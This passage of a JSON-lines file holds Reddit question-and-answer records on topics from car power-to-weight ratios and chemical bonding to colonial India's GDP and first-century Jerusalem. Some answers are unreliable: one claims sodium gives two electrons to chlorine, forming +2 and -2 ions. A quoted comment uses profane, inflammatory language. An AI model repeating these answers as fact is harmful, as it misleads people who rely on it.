the bee's brain, and they eventually load up on so much toxins, that they get confused, leave the hive, and can't find their way home. They get lost and die.\n\n", "One aspect were Nicotinoid based insecticides, when picked up by honey bees, disrupted their ability to find their way back to the colony. So a group would set out to forage for pollen, and very few if any would make it back to the colony. Bayer had to come out with a statement after the story broke because they insisted their insecticides only targeted \"bad\" insects and the bees were fine. But Bee carriers, the companies that truck millions of bees around the country to pollinate massive crops, noticed sometimes they would lose huge numbers of bees in certain fields, they think those which had been sprayed by Nicotinoid insecticides. All my information comes from the documentary \"Vanishing of the Bees\".", "My dad has lost a few colonies to _URL_0_ . IIRC they came from australian bees, who have a reasonable immunity to them, but in american/european bees can cause immune system deficiencies."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.youtube.com/watch?v=8qahbvtavzU&amp;feature=youtube_gdata_player"], [], [], [], ["http://en.wikipedia.org/wiki/Varroa_mites"]]}
{"q_id": "6mt0e3", "title": "if i have two cars with the same power to weight ratio, but one is more powerful than the other, are they then exactly as fast?", "selftext": "For example I have a Koenigsegg One:1 which has 1360 hp and weighs 1360 kg and an Aston Martin Valkyrie which has 1000 hp and weighs 1000 kg, which one is faster? If we disregard the aerodynamics and what not, they have the same power to weight ratio of 1:1. ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6mt0e3/eli5_if_i_have_two_cars_with_the_same_power_to/", "answers": {"a_id": ["dk437oh", "dk43flw", "dk43qij", "dk46q6c", "dk46voi", "dk4aury", "dk4e66o", "dk4hc22", "dk4ndik", "dk4ngjd"], "score": [162, 9, 36, 7, 5, 11, 5, 5, 3, 2], "text": ["Because of \"aerodynamic and what not\" (friction and other things), the bigger/heavier car is slower in reality. \n\nBut physically speaking the power to weight ratio is the quantity of thrust per unit of mass. So with your hypotheses the cars would be just as fast by definition.\n\n_URL_0_\n\n", " >  If we disregard the aerodynamics and what not\n\nWith regards to the top speed the aerodynamics is the biggest force to the car so if you disregard aerodynamics it would be impossible to compare them. What would happen is that they both cars would continue accelerating towards the speed of light. But assuming you meant that they have the same drag coefficient, essentially the same shape, then it is possible to compare them. Bigger cars have bigger volume and thus a bigger cross section and therefore more drag. However this relation is not linear but follow a cube/square law. So an increase in volume means a smaller proportional increase in aerodynamic drag. So if you increase the size of the car and keep the same power to weight ratio, density and drag coefficient you will have a faster car. This is obvious if you have seen a motor race or a bike race as racers will clump together to take advantage of the slipstream and effectively \"merge\" their aerodynamic drag to become bigger and therefore faster.\n\nThere is also another way to compare what cars are faster and that is with acceleration. For example comparing the 0-100kph time or a timed drag race, etc. The low speeds means aerodynamics is not that important in those cases. In this case it is as simple as force and mass which determines the acceleration. However horsepowers is not a measure of how much force you get from a car but how much energy it can output. What you want for acceleration is torque. But if you assume that the engines in the cars are similar and set up similarly you can extrapolate that the torque is comparable. In that case the cars would perform very similarly with the same power to weight ratio.", "Power to weight ratio has a big impact on acceleration but little effect on the ultimate top speed. \n\nWhat matters is the resistive forces, like aerodynamic drag, rolling resistance, and friction. Aerodynamic drag in particular becomes the dominant factor at high speeds, because it is proportional to the square of velocity, so disregarding it is not appropriate here.\n\n The power required to overcome the resistance is proportional to the resistive force and the current speed. The resistive forces themselves may increase with the speed (as is the case with drag), so power requirements can grow quite rapidly with increasing speed.\n\nWhen the power requirements exceed what the engine can produce, the car will be unable accelerate any further.", "I think all the answers here disregarding friction and aerodynamics misunderstood OP. I think OP meant that if you have two identical cars, with same aerodynamic properties and rolling friction, but one has more hp, but proportionally same hp/weight ratio, which would be faster? \n\nI'll try and answer as a phyisics and car enthusiast but not as a professional at all. Acceleration should be pretty much the same at first, but as I recall from Gordon Murray making observations about the Veyron, after a certain point hp doesn't translate directly into speed, but closer to an exponential factor, hence the Veyron needs a big chunk of its power to get those ultimate 30km/h. \n\nThe difference in power between the two would be the most defining factor, if the power is not enough for it to crack certain air resistance after X velocity, then they might be the same, I think weight is not a huge of a factor making a difference at top speed, but I might be squarely wrong.", "No. Power and speed don't always go together. Power is the engine's output, not the power to the wheels. It is specified at its peak. The peak power occurs at a certain combination of torque and RPMs. Two engines of equal power can peak at different RPMs. Plus, the transmission, drive train and wheels/tires are important to consider. A vehicle can be tuned for highest speed or for fastest acceleration. A big truck needs lots of torque while a sports car is designed for speed. ", "This is really not as tricky as everyone is making it. Acceleration will be the same at low speeds because power and weight are the most significant factors. Top speed is a function of power and aerodynamics, weight is not part of that equation, so the car with more power will have a higher top speed as long as the aerodynamics aren't significantly worse than the other car. Faster around a track is trickier, since the the heavier/more powerful car will have an advantage on the fast straight-aways and the lighter car will have an advantage in tight turns. Generally smaller racetracks with more turns favor light cars and larger more spread out tracks favor powerful cars.", "Well, with all else being equal, your transmission is ultimately going to be a bigger determinate for top speed. \n\nTake a look at a bicycle. It has one big gear at the peddles, with a series of increasingly smaller gears on the back wheel. As you move the chain to a smaller gear, you can go faster. If you select the smallest gear position, the rear wheel starts to rotate faster than you're peddling. We call this \"overdrive\".\n\nA car transmission is a bit more complicated but essentially works in the same way. You have the drive shaft going in with a big gear on the end of it, which connects to another shaft through a series of increasingly smaller gears. This shaft connects to the output shaft to the transaxle, which drives the wheels. The difference in size between the big gear and the smaller ones is your gear ratio. The smaller the ratio, the faster your car can go. \n\nEV super cars are a bit different. Their speed is really only limited by the amount of current you can pass through the motors, assuming its direct drive. They're ultimately limited by heat (friction on the bearings) and the amount of current the battery and electrical leads are capable of delivering. ", "Depends on transmission, gear ratios, and parasitic power loss (awd loses more power to the wheels than rwd than fwd, assuming the engine is in the front.)", "The lighter one will be faster around corners, acceleration and deceleration. The other will be quicker in a straight line (after the initial launch). ", "This question is phrased too poorly to be accurately answered. What do you mean by fast? Acceleration? Lap times on a track? Top speed? You will get varying results from each of these criteria given the vehicle characteristics you have stated. Power to weight ratio has almost no effect on ultimate top speed. It's more a function of hp vs aero dynamic resistance. So the car with higher hp will have a higher top speed if they have the same aerodynamic resistance. In terms of acceleration power to weight ratio is king, friction and aerodynamics hardly factor. So given they have the same grip levels they will accelerate equally. For track times there is a penalty to braking and change of direction for each kg, so the lighter car with the same power to weight ratio would have a better lap time despite similar acceleration. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.m.wikipedia.org/wiki/Power-to-weight_ratio"], [], [], [], [], [], [], [], [], []]}
{"q_id": "dfoaul", "title": "Did Geoffrey on Monmouth originally write The History of the Kings of Britain (the origin of Merlin and King Arthur) as a satire?", "selftext": "As I\u2019m perusing this book, I can\u2019t help but read this as satire. Perhaps I\u2019m struggling to take off the modern lens, but there are so many satirized moments taken almost verbatim from Bede or Gildas, it makes it hard to tell if Geoffrey ever took this seriously...? \n\nAm I completely missing the point?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/dfoaul/did_geoffrey_on_monmouth_originally_write_the/", "answers": {"a_id": ["f36gfym"], "score": [4], "text": ["I've never encountered the idea that it was satirical. I think the *Historia* is just too plain long to have been a satire. You've got to remember that most people thought it was entirely credible until the early modern era. If anything, more recent scholarship takes Geoffrey increasingly seriously. In *Arthur and the Kings of Britain*, Miles Russell argues that a lot of Geoffrey's stories are reflected in archaeology, and that, in many cases, he was providing distorted versions of ancient folklore. I'm sceptical myself, as are all the historians I've spoken to, but they consider the *Historia* to be an earnest forgery at the very least.\n\nI'm intrigued as to which bits taken from Gildas and Bede you think seem like satire?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "47f703", "title": "On Wikipedia, several of the first few emperors of Japan lived 120+ years. Why is that?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/47f703/on_wikipedia_several_of_the_first_few_emperors_of/", "answers": {"a_id": ["d0cm8c3"], "score": [6], "text": ["Bear in mind that, especially with old/ancient historical records, so much can be lost in 'translation' - that is, the fudging (more or less) of dates to cement the idea of a mythical figure as emperor, or simply in conflicting records, or even in the misunderstanding of certain phrases. Even the Wikipedia itself mentions that \"No firm dates can be assigned to this emperor's life or reign,\" further casting doubt on the supposed dates they lived through."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "crhei4", "title": "why is it so hard to stay awake or keep your eyes open sometimes, even though you've got more than enough sleep?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/crhei4/eli5_why_is_it_so_hard_to_stay_awake_or_keep_your/", "answers": {"a_id": ["ex52tyi", "ex52w44", "ex533dl", "ex562hv", "ex62h2y"], "score": [20, 3, 2, 7, 2], "text": ["There is some evidence to suggest that humans naturally are \u2018supposed\u2019 to take a nap in the middle of the day, to rest during the hottest part of the day and then do some more hunting and gathering in the afternoon and evening. Some have argued that just one sleep of 8 hours or so is unnatural, and we\u2019re not doing it right by staying awake all day and then only sleeping in one big chunk at night. All I know is, I do love napping in the middle of the day whenever I get the opportunity.", "Sometimes oversleeping will actually cause you to be more tired so that could be one reason. Another reason could be that you think you are getting a good nights sleep when perhaps you are actually narcoleptic or have some other underlying medical condition. I don't think it should typically be difficult to keep your eyes open or stay awake when you are getting a normal healthy amount of sleep and haven't stayed awake for too long.", "For me it is whenever I have drained all my \"resources\". Like if I haven't had lunch like I use too and used more energy than I have.\n\nDont know if it is like others but usually when I oversleep and still feel tired it is because I have been physically and/or mentally drained the day before and need to \"replenish\" my energy resources.\n\nThis is only personal experiences though so dont know if this is a good enough answer I am afraid :/ I would get it has something to do with you overusing your energy :)", "The sleep has multiple phases. One of those phases is called \"deep sleep\" and it's one of the most important ones because it relaxes your muscles. There are a couple of substances that can affect negatively the deep sleep, caffeine being one of them. You sleep but you don't get rest. Your body produces a substance called \"Adenosine\" responsible for you feeling sleepy and the deep sleep phase is breaking apart this substance. With caffeine you're just suppressing adenosine but only for a while. When adenosine is reaching high levels, you go to sleep, no matter how much caffeine you had. A lot of car crashes happens because drivers are trying to suppress their adenosine levels with caffeine, but when the caffeine effect runs out (around 6 h) or the adenosine levels gets too high, they're heads just fall, like pushing a switch off button. It's commonly named a \"caffeine crash\".", "It\u2019s also possible (aside from direct sleep-related issues) you are simply not getting sufficient oxygen.  Asthmatics and the like, or those with Apnea, can experience this.\n\nMost people tend to fall asleep when their blood oxygen level drops below about 95%."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "3p0ltb", "title": "what has to happen for atoms to join to form something new? for example, water is comprised of hydrogen and oxygen. if we have a tank of both, why can we not simply mix them together to make water?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3p0ltb/eli5_what_has_to_happen_for_atoms_to_join_to_form/", "answers": {"a_id": ["cw230bi", "cw233s0", "cw234in", "cw236cx", "cw2a24u"], "score": [10, 9, 3, 4, 2], "text": ["Sometimes mixtures like this will start their reaction spontaneously. Chlorine and sodium for example, will when put together, make salt on their own. Quite violently.\n\nOther reactions need a kick-start. Sometimes the energy require to, in effect, push the reactants together is more than room temperature will provide, so they just sit there - reactive, but waiting. Give it a slight kick though - a spark will do - and the first few will start to react, releasing energy which will kick-start the adjacent molecules and away it gots - again, often quite vigorously.", " > If we have a tank of both, why can we not simply mix them together to make water?\n\nYou kind of can, as long as you provide some energy in the form of heat to kick off the reactions.\n\nSee, a tank of pure hydrogen will form molecules of two hydrogens attached to each other (called \"diatomic hydrogen\", or \"molecular hydrogen\").  And the same is true to oxygen.\n\nMolecular hydrogen (H*_2_*) and oxygen (O*_2_*) are mostly stable, and won't react with each other.  However, they're *more* stable when they're reconfigured into H*_2_*O to form water.  But since the H*_2_* and O*_2_* are stable, the atoms can't just decide to rearrange into water.  Instead, you have to add enough heat energy to break the H*_2_* and O*_2_* into free H and O atoms.  \n\nOnce that happens, the atoms will recombine to form H*_2_*O, and will release more energy in doing so than you had to put in to break the H*_2_* and O*_2_* molecules apart.  So extra energy is released that can be used to break apart *more* H*_2_* and O*_2_* molecules, and the process repeats itself.  This results in an explosion and/or fireball, and when the hydrogen is finished burning, what you're left with is water.\n\nOr, to use some different notation:  \n2H*_2_* + O*_2_* + energy -- >  2H*_2_*O + even more energy", "You can simply mix those together to make water. The resulting reaction is quite energetic, which is a reason they are commonly used as, for example, rocket fuel.\n\nNow, you will need a tiny spark to set of the reaction. After all, both hydrogen and oxygen are already molecules , and those need to be broken apart before they can combine into something new.", "Atoms are usually part of molecules already and those bonds in those molecules have to be broken to allow the atoms to be free to make new bonds in new molecules. One very convenient way to do this is to heat things up as at higher temperatures.\n\nLet's take your tank of oxygen and hydrogen. The oxygens are paired up in O2 molecules and the hydrogens are paired up in H2 molecules. The bonds holding them together make it more difficult for them to recombine into water. However, if you get a spark, you get a very small region where the bonds get broken, the oxygen and hydrogen recombine into water, and in the process release a bunch of heat (because the H2O bonds are stronger than the H2 and O2 bonds were) and that heat breaks up more molecules which release more heat. The result is combustion and if it is fast enough we call it an explosion.", "As your probably know, an atom consists of a core of protons and neutrons*, surrounded by a cloud of electrons. Electrons carry a negative electric charge, protons have a positive charge, and neutrons are neutral. An unbonded atom ususally has equal numbers of protons and electrons.\n\nElectrons whizz around nuclei in what are called *shells shells*. Because of quantum mechanics, each shell has a maximum number of electrons it can hold.** The first can hold 2, the second can hold 8, the third can hold 18, and so on. Atoms are happiest when their outermost shell is full (again, quantum mechanics).\n\nAs you go down the periodic table, heavier atoms hold on to their electrons more tightly than do lighter atoms, due to having more protons. However, an atom also has a tighter grip on its inner electrons than it does on its outer electrons, since the inner electrons are closer to the nucleus and thus experience a stronger electrostatic attraction.\n\nThis all leads to a property called *[electronegativity](_URL_0_)*, which is basically a measure of how greedily atoms try to steal each other's electrons. (There's also an opposite property, electropositivity, which measures how generously atoms give up electrons).\n\nWhen two atoms meet, they try to get full outer shells, which they can do either by gaining electrons to fill their outer shells, or by losing electrons so their outer shells are empty, thus making their outermost full shell the outer shell. This can result in two types of bonds - *ionic* and *covalent*.\n\nIn an ionic bond, one atom gives its outer electrons to the other. This happens when the difference between the atoms' electronegativities is greater than 1.7. The canonical example is sodium chloride, table salt. When a sodium atom and a chlorine atom meet, sodium has two electrons in its outer shell that it's looking to give away, and chlorine needs two electrons to fill its own outer shell. Sodium's electronegativity is 0.93 and chlorine's is 3.16, for a difference of 2.23; hence, the bond is definitely ionic. Sodium gives two electrons to chlorine, meaning they both now have full outer electron shells.\n\nThis also means that the sodium atom now has an overall electric charge of (+2) and the chlorine atom has a charge of (-2). Thus, they are referred to as *ions* - sodium forms a positive ion while chlorine forms a negative ion (which is called chloride). Their opposite charges cause them to stick together like metal to a magnet - an ionic bond.\n\nA covalent bond results when the atoms' electronegativities differ by less than 1.7. In this case, since neither atom is that much greedier than the other, they share electrons. To take your example of water, the electronegativity of hydrogen is 2.20, and that of oxygen is 3.44, for a difference of 1.24***. Hydrogen atoms have one electron each in a shell with a max of 2, so they can gain or lose an electron and be happy. Oxygen is looking to gain two electrons.\n\nWhen an oxygen atom meets a pair of hydrogen atoms, each hydrogen atoms shares its electron with the oxygen; the oxygen also shares one electron each with the hydrogen atoms. The shared electrons whizz around in the shells belonging to both their parent atoms and the donor atoms, thus filling the empty slots without emptying anything.\n\nIn order to get atoms to exchange or share electrons, they need to get very close. At neutral atoms get closer, their respective electrons repel each other, and thus there is a tendency for the atoms to drift apart. For this reason, getting atoms to react usually requires giving them some extra energy to get them close together, which tends to mean they require heat. That's why you need to heat a misture of oxygen and hydrogen to make water out of it.\n\n\\* Normal hydrogen has no neutrons, but every other atom has at least one\n\n\\** It's a *lot* more complex than that, but I'm bogged down enough in details as it is.\n\n\\*** Yes, this is just about below the threshold. This high difference in electronegativity is actually behind many of water's unusual physical and chemical properties."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["https://en.wikipedia.org/wiki/Electronegativity"]]}
{"q_id": "68xp7q", "title": "why do we use the letter \"z\" in for example a comic to show the reader that a specific character is sleeping? how did it all started and why \"z\"?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/68xp7q/eli5_why_do_we_use_the_letter_z_in_for_example_a/", "answers": {"a_id": ["dh24u4x", "dh2dyc2", "dh2pr5c"], "score": [29, 4, 4], "text": ["It is onomatopoeia for someone snoring. That is what most English speakers hear when someone snores. It is also the sound a handsaw will make. ", "In countries where Z is pronounced Zed, catching a few Z's is rendered catching a few Zeds.\n\nFor a more information, the following may be of use: _URL_0_", "Originally, comic artists would depict someone snoring, with the sound being represented as a saw cutting a log. Later, other artists added the \"zzzzzzzz\" to represent the sound along side it.\n\nOver the years, the visual of the saw was dropped, and the \"zzzzzzzz\" became associated with sleep, instead of snoring."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://english.stackexchange.com/questions/27045/how-did-the-letter-z-come-to-be-associated-with-sleeping-snoring"], []]}
{"q_id": "7oq82x", "title": "person-centred couselling and gestalt therapy, and the differences between the two.", "selftext": "I'm currently doing a diploma in counselling and could use some clarification on what these 2 types of therapy involve, and the differences between the 2. Examples would be very useful! Thank you in advance :)", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7oq82x/eli5_personcentred_couselling_and_gestalt_therapy/", "answers": {"a_id": ["dsc8seu", "dscgd2f"], "score": [2, 2], "text": ["If I\u2019m not mistaken Gestalt is about forms. Close to Jung and archetypes. So heuristics. \n\nA therapy may be bringing heuristics to light and changing/ extinguishing. Like all of the hang ups of being fat. \n\nLike an outside/in comparison. \n\nPerson-centered is probably a more eastern philosophy looking therapy. Value based on the individual. \n\nEdit: if the problem the person has is sociological in nature, Gestault would be the approach- like if they use language that they\u2019re not normal. The person-centered stuff is about stress management. But you gotta mix and match the two. ", "Person centered therapy is about helping the individual.  By having unconditional positive regard and listing to the client, the therapist helps the client *become aware* of themselves so that they develop fully.\n\nGestalt therapy is about the client *in the moment*, the environmental and social contexts of the client's life, and the self-regulating adjustments people make as a result of their overall situation.\n\nA person centered therapist listens to the client and asks open ended questions \"What makes you say that?\"  \"Why do you feel this way?\"\n\nA gestalt therapist might say \"I notice a slight tension at the corners of your mouth when I say that, and I see you shifting on the couch and folding your arms across your chest \u2026 and now I see you rolling your eyes back\u201d.  Some even confront the client and challenge their statements to make the client act more authentic. \n\nBoth attempt to make the client more aware - person centered has the therapist as a guide vs. gestalt as a mentor and coach.\n\n- edit I give credit to Wikipedia to help me remember my psych classes."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "cyz0yx", "title": "what is a watershed?", "selftext": "I know/think it\u2019s a geographical feature but I can\u2019t quite wrap my head around it.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cyz0yx/eli5_what_is_a_watershed/", "answers": {"a_id": ["eyv3hds", "eyvbnz1"], "score": [12, 2], "text": ["A watershed is a piece of land where all the water that doesn't evaporate eventually reaches the same body of water. \n\nTry to visualize it like this. Say you have two ranges of hills that run parallel to each other. Between these hills you're usually going to have a river. That's because water flows from gradients of higher altitude to lower altitude. Any water anywhere between these hills can't defy gravity, so it will eventually collect along the lowest altitude. That would make the space between the hills a watershed. We know the water has nowhere else to go but this river, so we can reasonably say that all water in this area will go to the same place and map it out.\n\nObviously it's a LOT more complicated with real geographic locations since the topography usually won't be as neat as two hills running parralel, but it's good for visualization. It's also a bit complicated by the fact we can sort of choose the scale we're looking at. We can look at all the water that feeds into a single small river, or we could look at the entire river system including all its tributaries.", "If you look at a river or lake, all the tributaries and land area that feeds that river is a watershed. \n\nHere are some maps that should make it a lot more intuitive: _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.visualcapitalist.com/maps-worlds-watersheds/"]]}
{"q_id": "2c4jr1", "title": "How could be India's GDP growth (adjusted to population) from 1700 to 1900 was a grand total of 0%?", "selftext": "This could be a loaded question. There is a **comment**(+153) in /r/india claiming that \"**for 200 years between 1700 to 1900, every single dollar of improvement in the Indian economy was shipped out to Britain via the process of colonialism.**\".\n\nI am trying to validate the claims made in the following comment. Please ignore any propaganda in it.\n\nThis it the comment in question : \n------\n >  **When you say India's GDP share went down, neocolonialists/colonial apologists and their pet brown sepoys readily defend it by claiming it was purely due to the West's growth during industrial revolution and had nothing to do with colonial exploitation in India. That's complete bullshit.** I'll give you another interesting statistic that gives you a much clearer understanding of issues. \n >  \n >  India's population in 1700 was 127 million. In 1900, it was 271 million. [Source](_URL_3_)\n >  \n >  India's GDP in 1700 was $90 billion. India's GDP in 1900 was $192 billion, all figures in 1990 USD. Source: _URL_0_\n >  \n >  So India's GDP per capita in 1700 was $708. In 1900 it was $708.\n >  \n >  **India's GDP growth (adjusted to population) from 1700 to 1900 was a grand total of 0%.**\n >  \n >  But wait, what does that actually mean? Does that mean that there was no improvement in production between 1700 to 1900? Does that mean there was no improvement in technology between 1700 to 1900? Does that mean that trade did not increase for 200 years? Clearly not as improvements in production, technology, trade networks, etc are a natural process over time, especially over such a long period of time. But the growth was 0%. FFS, the British and their intellectual Sepoy chamchas love reminding us how the British gifted us the industrial revolution, albeit a tad late, in the mid to late 19th century. So how was the growth 0%? \n >  \n >  The West's industrial revolution took place at a 3% GDP growth and 1.1% capita income growth after 1820. So, if we assume a mediocre growth of 0.25% per annum in India, the per capita GDP growth should have been 65% over 200 years. Even if we assume a very poor growth rate of 0.1% per annum in India, the per capita GDP should have grown by 22% over 200 years. But the growth was 0%.\n >  \n >  So what does this mean? **The figures mean, that for 200 years between 1700 to 1900, every single dollar of improvement in the Indian economy was shipped out to Britain via the process of colonialism.** First by the East India Company and later by the British government itself since 1857 onwards.\n >  \n >  So remember this, when our dearly beloved White colonial masters and their brown sepoys tell us how grateful we should be to colonialism for giving us the Industrial revolution in the mid to late 1800s, how grateful we should be for the fucking railway system, how grateful we should be for white people for teaching us how to be civilized and modern, how India owes everything it has to the limey British, remember this. \n >  \n >  **Remember that for 200 years, every single dollar in progress made by every single Indian was stolen and taken to Britain.**\n >  \n >  The next time someone tells you about the benefits of colonialism, give them one tight slap.\n >  \n >  EDIT: **Angus Maddison actually estimates that GDP per capita in India had a NEGATIVE GROWTH between 1700 and 1870.** Source: _URL_0__per_capita\n\n\nSource : _URL_1_\n\n------\n\n^Note: ^I ^do ^not ^want ^to ^break ^any ^rules. ^If ^I ^did ^please ^help ^me ^in ^asking ^the ^question ^in ^the ^right ^way.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2c4jr1/how_could_be_indias_gdp_growth_adjusted_to/", "answers": {"a_id": ["cjbzp8l"], "score": [2], "text": ["I can't verify the statistics, but I can offer some more general explanation and clear up some of the difficulties posed by the immature interpretation. \n\nThe first flaw is the concept of an 'industrial revolution' itself. India remained a largely agricultural nation throughout British rule with elements of feudalism still present in many parts of the country, the capitalist relations only developing on a larger scale near the end of the Raj (this is not a coincidence. the contradictions in Indian society grew as capitalism developed).\n\nSecond is the idea that India's 'industrial revolution' would take a path similar to that in England. The development of capitalist relations in India took place under imperialism, which radically alters the character of development. At the beginning of the 18th Century there was a flourishing handicraft industry - producing textiles, silk, etc. - in India, comparable to many smaller powers (e.g. Germany) in Europe. What we don't see, however, is rapid industrialisation as in England or other colonial powers later on. This is due to the introduction of English goods into the marketplace, which also caused the destruction of Indian handicraft. Edmund Burke stated that East India Co. was the reason for the degradation of the Indian economy. Not only were the English goods cheaper, the Rupee was being devalued because it was on the silver standard, which further exacerbated the imbalance in trade. In return India became a critical source of raw material to English industry.\n\nThe predatory relationship was more complicated than simple 'stealing' as presented in the post, though heavy taxation did factor into limiting growth. The national liberation movement included the Indian capitalist class, they were completely aware that the imperialist relations were barring them from further development. Mere economics don't really capture the true nature of colonialism, which was harsh and caused a great deal of suffering.  The dozens of famines, Jallianwallah Bagh, etc..  Most of the famine conditions have been traced to British policy by Amartya Sen. The truth is that the Raj in India cannot be justified by any sensible person, though (without the imperialist excesses) many of the same policies can be seen today in a more subtle form. \n\n"]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/List_of_regions_by_past_GDP_(PPP)", "http://np.reddit.com/r/india/comments/2c0mqf/indias_share_of_the_world_income_went_from_27_in/cjariv6", "http://en.wikipedia.org/wiki/List_of_regions_by_past_GDP_(PPP)_per_capita", "http://www.populstat.info/Asia/indiac.htm"], "answers_urls": [[]]}
{"q_id": "4c11p2", "title": "How cosmopolitan was Jerusalem in Jesus' day? What was its ethnic make up and how was this organised in society e.g. Roman ruling class?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4c11p2/how_cosmopolitan_was_jerusalem_in_jesus_day_what/", "answers": {"a_id": ["d1e7qv5", "d1emyxr"], "score": [20, 7], "text": ["I am by far no expert on the field, but I know enough to answer the linguistic and cultural aspect of the cosmopolitan nature of Jerusalem around 1 AD. Jerusalem and the region of Palestine had experienced a number of foreign invasion in the centuries before 1 AD, which led to a number of languages being spoken in the region. Most people would speak Aramaic, a language in the Semitic language family, which most believe a person like Jesus would have spoken. There was also a Hellenised elite that spoke Koine Greek. This was result of the establishment of the Hellenistic world by Alexander the Great some 300 years previously after he conquered the Levant, Egypt and Persia, which led to the local elites in the region adopting Greek and Greek culture, something which also happened with the Jews living in Jerusalem and Palestine. Lastly, Palestine and thus Jerusalem was controlled by the Roman Empire around 1 AD, so you would also have a ruling elite that spoke Latin. So, in short, Jerusalem would be quite cosmopolitan when considering the different languages and cultures of the people that inhabited the city.", "Those are two questions that take the discussion in different directions. The short answer to the first: Fairly cosmopolitan, in the sense that it was a pretty thriving economic center, due, at least in part, by religious tourism that cropped up before, during, and after the time of Jesus. It turns out that the temple built by Herod the Great had a reputation all throughout the empire, which drew Gentile travelers. Their interest would be part sight-seeing and part religious (Crossan, in \"God and Empire,\" claims that Judaism would have grown in converts quite a bit if it weren't for the requirement of circumcision). Roughly around the time Jesus, Jerusalem also saw an influx of inhabitants, which meant both more wealth and social conflict that can result - this will be a huge problem in a few minutes.\n\nEthnically, it was almost entirely Jewish (bracketing out the disagreement over the label of Jew/Judean), and during the festivals, Jews from throughout the empire, and especially Galilee, would cause the city to swell quite a bit. There would be a small percentage of Samaritans and miscellaneous Gentiles living there as well, but I'm not aware of any research that has given convincing, definitive numbers. Rome also had a presence, and they were most visible during certain festivals like Passover, where nationalism had a tendency to bubble up and erupt into riot. Pontius Pilate, for example, would move his headquarters from Caesarea to the fortress of Antonia which overlooked the Temple Mount during times of potential unrest (again, eg, Passover).\n\nAside from Roman Rule, who had varying degrees of direct interaction, the biggest cultural/social/political force was the temple (as a rule, in ancient jewish culture, there really is no distinction between culture, religion, and politics). This gave the priesthood a tremendous amount of power and wealth. The office of the High Priest had to be approved by the Romans, a move that allowed Rome to keep the people in check to at least some extent. The temple itself was the central cultic force for Judaism (although Torah as its center was growing rapidly at this time, due to an emerging sense of ambiguity toward the temple and its priests, along with the synagogue). The priests and Sanhedrin formed the basis of the ruling class, at least from a local perspective, and from a modern perspective, we would say that much of this power was derived from its religious and economic influence.\n\nJosephus mentions that at the outbreak of the war in 66CE, once the rebels took the portion of Jerusalem that contained the temple, they burned the debt records that were kept at the temple. This alone gives us a picture of how the society was organized. The temple was an important economic and religious center, with the priests (and especially the high priest) in close proximity to this wealth and power. Discontentment was rapidly growing due to very poorly distributed wealth, and we can say that wealthy elite floated to the top and were above a large and growing number of poor.\n\nHopefully this helps. Let me know if that doesn't get at what you wanted to know. Here are a few sources for followup:\n\nGoodman, Martin: \"The ruling class of Judaea: the origins of the Jewish revolt against Rome, A.D. 66 - 70\"\nPerrin, Nicholas: \"Jesus the Temple\"\nSanders, EP: \"Judaism: practice and belief, 63 BCE-66 CE\"\nHorsley and Hanson: \"Bandits, prophets, and messiahs: popular movements in the time of Jesus\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1742g5", "title": "the relationship between light and electricity.", "selftext": "Are they related? To what extent are they similar/different?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1742g5/eli5_the_relationship_between_light_and/", "answers": {"a_id": ["c8218yq"], "score": [3], "text": ["Light is an electromagnetic wave and is carried by a particle we call a photon. Electromagnetic waves are visible light, but also ultraviolet light, microwaves, radio waves, X-rays and other waves or rays, and heat, that we also call infrared light.\n\nElectric energy is carried by electric charge, that is usually particles we call electrons. \n\nWe can make light from electricity in an easy way, using resistance. You know common lightbulbs? They use resistance, that is, a wire takes energy out of the electric flow and heats up until it starts to glow. It emits visible light and also infrared light, and that is heat, which is why lightbulbs get so warm.\n\nElectromagnetic waves, that is photons, can give electrons energy, and they can be created when electrons loose energy. That is, for example, how radios work. \n\nYou know how an atom looks like? There's the positively charged kernel, and the negatively charged electrons outside. They have a certain distance to the kernel.\n\nWhen an electron in an atom is bumped by a photon, it increases its distance. When it decreases its distance to the kernel, it gives off a photon. That is how lasers work.\n\nBut photons are also created when atoms split up, what we call radioactive decay. Then they are dangerous, because they have high energy and may hurt the molecules in your body.\n\nElectromagnetic waves, that is photons, so light, radio waves, heat, etc., are a way to carry energy from one place to another. Electricity is one way to use, or create this energy.\n\nAnd a nice thing to know is that electrically charged particles exchange photons to tell each other they are charged. This is how a proton knows to attract an electron and vice versa, and how two protons or two electrons know to push off each other. But here it gets really complicated. This is quantum mechanics."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
